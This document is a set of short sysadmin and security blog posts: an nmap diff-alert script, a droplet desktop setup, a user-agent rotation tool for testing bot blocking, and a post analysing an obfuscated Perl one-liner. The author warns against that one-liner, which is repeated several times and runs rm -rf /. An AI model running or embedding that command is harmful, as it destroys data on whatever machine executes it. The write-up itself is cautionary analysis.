Author: jgamblin

I am often asked  “What is the easiest thing companies can do to secure their networks?” and my answer is always always “Know what is on your network.”   While that is simple advice it is a lot harder to implement.   One company I was working with was looking at a system to do continuous network monitoring (read: scheduled nmap scans) for $40,000 a year.
After I cried for the state of my industry I told them I could do this for them with a small shell script, a $5 a month Digital Ocean Droplet and a free Sendgrid account.
Here is how I did it:

• Created a free Sendgrid account.
• Spun up $5 a Month Digitalocean Ubuntu Droplet.
• Added a nmaper.company.com DNS record to be perfectly clear waht the box was doing.
• Updated and installed needed software:
  sudo apt-get update && sudo apt-get dist-upgrade
sudo apt-get install ssmtp nmap xsltproc

• Created necessary folders:
  mkdir /root/nmap/
mkdir /root/nmap/diffs

• Edit /etc/ssmtp/ssmtp.conf with this:
  [email protected]
mailhub=smtp.sendgrid.com
rewriteDomain=
[email protected]
UseSTARTTLS=YES
AuthUser=jgamblin
AuthPass=password
FromLineOverride=YES
• Copy this to /root/namp/scan.sh:
#!/bin/sh
TARGETS="jerrygamblin.com scanme.nmap.org"
OPTIONS="-v -sV -T4 -F --open"
date=$(date +%F%T)
cd ~/nmap/diffs
nmap $OPTIONS $TARGETS -oA scan-$date > /dev/null
email()
{
/usr/sbin/ssmtp [email protected] <<EOF
From: [email protected]
Subject: nmap ndiff$(date +"%Y-%m-%d")*** NDIFF RESULTS ***
$(cat diff-$date)
EOF
}
if [ -e scan-prev.xml ]; then
ndiff scan-prev.xml scan-$date.xml > diff-$date
[ "$?" -eq "1" ] && email
fi
ln -sf scan-$date.xml scan-prev.xml
• Test (add cat diff-$date to bottom of the script to see output.)
• Add a cron job to crontab to run every 15 minutes (or hour for bigger networks)
• Talk your boss into buying you something awesome with the $39,970 in savings.

It was as simple as that and I put this together in an afternoon.  Up next is to build a Slackbot and an  to deliver the differences to their slack channel.
 

I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it  down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet :
sudo apt-get update && sudo apt-get dist-upgrade -y
sudo apt-get install --no-install-recommends ubuntu-mate-core ubuntu-mate-desktop -y
sudo apt-get install mate-core mate-desktop-environment mate-notification-daemon xrdp -y
adduser burp
usermod -aG admin burp
usermod -aG sudo burp
su - burp
echo mate-session> ~/.xsession
sudo cp /home/burp/.xsession /etc/skel
sudo service xrdp restart
From there you can use any RDP viewer to connect to your droplet: 
 

Earlier this week someone sent me this one line perl script (that you shouldn’t run):
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Due to some really clever code obfuscation  it runs rm -rf /.
You  can deobfuscate (is that word?) with this:
perl -e 's;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;print "$_\n"'
While trying to figure out how this code code I stumbled upon the fact that OSX does not require  --no-preserve-root which has been required since version 6.4 of GNU Core Utilities which was released in 2006.
Here is what happens if you run perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see'  on Ubuntu 16:10:
Here is what happens if you run perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see'  on MacOS 10.12:

This seems like a pretty big oversight by the Apple Team and I have filled a bug report but haven’t heard anything yet.

Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website.   I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick scripts that call one of 7500 valid user agents from this file.
First I went with the old standby of CURL which does the job but I was only able to do 10 requests in 4 seconds.
Here is what the output of curl.sh looks like:

That was not going to be fast enough for my testing needs so I switch to Apache Bench and am able to do 1,000 requests in 2 seconds. Which was what I need to do proper testing.
Here is what the output of ab.sh looks like:

All the scripts are in this GitHub Repo.
As always:  Use these for good, not bad.